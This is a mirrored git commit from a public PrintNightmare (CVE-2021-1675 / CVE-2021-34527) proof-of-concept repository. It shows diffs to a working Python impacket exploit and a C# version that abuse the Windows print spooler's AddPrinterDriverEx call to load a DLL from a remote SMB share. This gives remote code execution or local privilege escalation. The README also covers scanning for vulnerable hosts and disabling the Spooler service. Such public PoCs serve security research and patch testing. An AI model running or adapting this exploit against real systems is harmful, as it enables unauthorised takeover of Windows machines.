mirror of
https://github.com/cube0x0/CVE-2021-1675.git
synced 2024-11-13 01:27:57 +00:00
C# success rate and PoC improvement
Signed-off-by: cube0x0 <vidfelt@protonmail.com>
This commit is contained in:
cube0x0
parent
c6bb4923d8
commit
2180daa238
6 changed files with 51 additions and 37 deletions
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@ -5,7 +5,6 @@ from impacket.dcerpc.v5.dtypes import NULL
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from impacket.structure import Structure
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import argparse
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import sys
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import time
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import pathlib
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#https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030
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@ -67,23 +66,7 @@ def getDrivers(dce, handle=NULL):
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return blob
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def main(username, password, domain, lmhash, nthash, address, port, share):
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#connect
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dce = connect(username, password, domain, lmhash, nthash, address, port)
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#handle = "\\\\{0}\x00".format(address)
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handle = NULL
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#find "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL" path
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try:
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blob = getDrivers(dce, handle)
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pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL'
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except Exception as e:
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print('[-] Failed to enumerate remote pDriverPath')
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print(str(e))
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sys.exit(1)
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print("[+] pDriverPath Found {0}".format(pDriverPath))
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def main(dce, pDriverPath, share):
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#build DRIVER_CONTAINER package
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container_info = rprn.DRIVER_CONTAINER()
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container_info['Level'] = 2
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@ -93,14 +76,15 @@ def main(username, password, domain, lmhash, nthash, address, port, share):
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container_info['DriverInfo']['Level2']['pEnvironment'] = "Windows x64\x00"
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container_info['DriverInfo']['Level2']['pDriverPath'] = pDriverPath + '\x00'
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container_info['DriverInfo']['Level2']['pDataFile'] = "{0}\x00".format(share)
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container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\kernelbase.dll\x00"
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container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\winhttp.dll\x00"
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flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000
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filename = share.split("\\")[-1]
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print("[*] Executing {0}".format(share))
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resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
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print("[*] Stage0: {0}".format(resp['ErrorCode']))
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container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\kernelbase.dll\x00"
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for i in range(1, 30):
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try:
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container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\{0}\\{1}\x00".format(i, filename)
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@ -118,9 +102,11 @@ if __name__ == '__main__':
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parser = argparse.ArgumentParser(add_help = True, description = "CVE-2021-1675 implementation.",formatter_class=argparse.RawDescriptionHelpFormatter,epilog="""
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Example;
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./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll'
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./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL'
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""")
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parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
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parser.add_argument('share', action='store', help='Path to DLL. Example \'\\\\10.10.10.10\\share\\evil.dll\'')
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parser.add_argument('pDriverPath', action='store', help='Driver path. Example \'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL\'', nargs="?")
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group = parser.add_argument_group('authentication')
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group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
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group = parser.add_argument_group('connection')
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@ -161,12 +147,34 @@ Example;
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lmhash = ''
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nthash = ''
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#connect
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dce = connect(username, password, domain, lmhash, nthash, options.target_ip, options.port)
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#handle = "\\\\{0}\x00".format(address)
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handle = NULL
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#find "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL" path
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if not options.pDriverPath:
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try:
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blob = getDrivers(dce, handle)
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pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL'
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if not "filerepository" in pDriverPath:
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print("[-] pDriverPath {0}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\.....".format(pDriverPath))
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print("[-] Specify pDriverPath manually")
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sys.exit(1)
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except Exception as e:
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print('[-] Failed to enumerate remote pDriverPath')
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print(str(e))
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sys.exit(1)
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else:
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pDriverPath = options.pDriverPath
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print("[+] pDriverPath Found {0}".format(pDriverPath))
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print("[*] Executing {0}".format(options.share))
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#re-run if stage0/stageX fails
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print("[*] Try 1...")
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main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share)
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time.sleep(10)
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main(dce, pDriverPath, options.share)
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print("[*] Try 2...")
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main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share)
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time.sleep(10)
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main(dce, pDriverPath,options.share)
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print("[*] Try 3...")
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main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share)
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main(dce, pDriverPath,options.share)
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@ -1,4 +1,4 @@
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# CVE-2021-1675
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# CVE-2021-1675 / CVE-2021-34527
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Impacket implementation of the [PrintNightmare ](https://github.com/afwu/PrintNightmare) PoC originally created by Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370)
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@ -86,9 +86,9 @@ REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_
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### Scanning
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We can use `rpcdump.py` from impacket to scan for vulnerable hosts, if it returns a value, it's vulnerable
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We can use `rpcdump.py` from impacket to scan for potential vulnerable hosts, if it returns a value, it could be vulnerable
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```
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```bash
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rpcdump.py @192.168.1.10 | grep MS-RPRN
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Protocol: [MS-RPRN]: Print System Remote Protocol
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@ -100,7 +100,7 @@ Disable Spooler service
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```powershell
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Stop-Service Spooler
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REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start " /t REG_DWORD /d "4" /f
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REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG_DWORD /d "4" /f
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```
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Or Uninstall Print-Services
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Binary file not shown.
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@ -1,7 +1,9 @@
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# C# Implementation of CVE-2021-1675
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# C# Implementation of CVE-2021-1675 / CVE-2021-34527
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### Usage
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The RCE functionality might need to be executed with local administrator privileges on YOUR machine.
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```
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#LPE
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C:\SharpPrintNightmare.exe C:\addCube.dll
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Binary file not shown.
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@ -82,13 +82,17 @@ namespace SharpPrintNightmare
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break;
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}
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}
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//lucky shot
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//could not find driver path
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if (pDriverPath == "")
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{
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pDriverPath = drivers[0].pDriverPath;
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Console.WriteLine($"[-] [-] pDriverPath {pDriverPath}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\.....");
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Console.WriteLine($"[-] Specify pDriverPath manually");
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Environment.Exit(1);
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}
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pDriverPath = Directory.GetParent(pDriverPath).FullName + "\\UNIDRV.DLL";
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}
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Console.WriteLine($"[*] pDriverPath {pDriverPath}");
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Console.WriteLine($"[*] Executing {dllpath}");
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if (args.Length > 2)
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{
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path = args[2];
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@ -117,13 +121,11 @@ namespace SharpPrintNightmare
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//pDriverPath = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL"; // 2019 debug
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//pDriverPath = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_addb31f9bff9e936\\Amd64\\UNIDRV.DLL"; // 2016 debug
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Console.WriteLine($"[*] pDriverPath {pDriverPath}");
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Console.WriteLine($"[*] Executing {dllpath}");
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//DRIVER_INFO_2 Level2 = drivers[0]; // debug
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DRIVER_INFO_2 Level2 = new DRIVER_INFO_2();
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Level2.cVersion = 3;
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Level2.pConfigFile = "C:\\Windows\\System32\\kernelbase.dll";
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Level2.pConfigFile = "C:\\Windows\\System32\\winhttp.dll"; //replace kernelbase with winhttp
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Level2.pDataFile = dllpath;
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Level2.pDriverPath = pDriverPath;
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Level2.pEnvironment = "Windows x64";
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@ -141,6 +143,8 @@ namespace SharpPrintNightmare
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Console.WriteLine("[*] Stage 0: " + Marshal.GetLastWin32Error());
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Marshal.FreeHGlobal(pnt);
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//Specify a dll that does not exists in C:\\Windows\\System32\\spool\\drivers\\x64\\3\\
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Level2.pConfigFile = "C:\\Windows\\System32\\kernelbase.dll";
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for (int i = 1; i <= 30; i++)
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{
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//add path to our exploit
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